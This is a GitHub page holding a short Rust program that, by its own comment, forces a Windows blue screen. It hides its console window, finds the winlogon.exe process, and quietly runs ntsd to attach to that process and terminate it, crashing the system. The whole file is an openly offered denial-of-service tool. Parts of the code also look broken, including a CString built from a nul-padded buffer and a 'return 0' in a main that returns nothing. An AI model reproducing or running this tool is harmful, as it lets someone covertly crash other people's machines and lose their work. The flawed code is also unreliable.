-
Notifications
You must be signed in to change notification settings - Fork 193
/
NTSD_winlogon.rs
60 lines (50 loc) · 1.87 KB
/
NTSD_winlogon.rs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
/*
Trigger BSOD by triggeing NTSD on winlogon.exe
@5mukx
*/
use std::ffi::CString;
use std::process::Command;
use winapi::um::wincon::GetConsoleWindow;
use winapi::um::tlhelp32::{CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32};
use winapi::um::handleapi::{CloseHandle, INVALID_HANDLE_VALUE};
use winapi::um::winnt::HANDLE;
use winapi::um::winuser::{ShowWindow, SW_HIDE};
fn find_pid(procname: &str) -> Option<u32> {
unsafe {
let h_snapshot: HANDLE = CreateToolhelp32Snapshot(winapi::um::tlhelp32::TH32CS_SNAPPROCESS, 0);
if h_snapshot == INVALID_HANDLE_VALUE {
return None;
}
let mut pe: PROCESSENTRY32 = std::mem::zeroed();
pe.dwSize = std::mem::size_of::<PROCESSENTRY32>() as u32;
let mut h_result = Process32First(h_snapshot, &mut pe);
while h_result != 0 {
let exe_file = CString::new(procname).unwrap();
let current_exe_file = CString::new(pe.szExeFile.iter().map(|&c| c as u8).collect::<Vec<u8>>()).unwrap();
if exe_file.as_c_str() == current_exe_file.as_c_str() {
CloseHandle(h_snapshot);
return Some(pe.th32ProcessID);
}
h_result = Process32Next(h_snapshot, &mut pe);
}
CloseHandle(h_snapshot);
None
}
}
fn main() {
unsafe {
let h_wnd = GetConsoleWindow();
ShowWindow(h_wnd, SW_HIDE);
let pid = find_pid("winlogon.exe").or_else(|| find_pid("WINLOGON.EXE"));
if let Some(pid) = pid {
let command = format!("cmd /c start /min ntsd -c q -p {} 1>nul 2>nul", pid);
Command::new("cmd")
.args(&["/C", &command])
.status()
.expect("Failed to execute command");
} else {
println!("Process not found.");
return 0;
}
}
}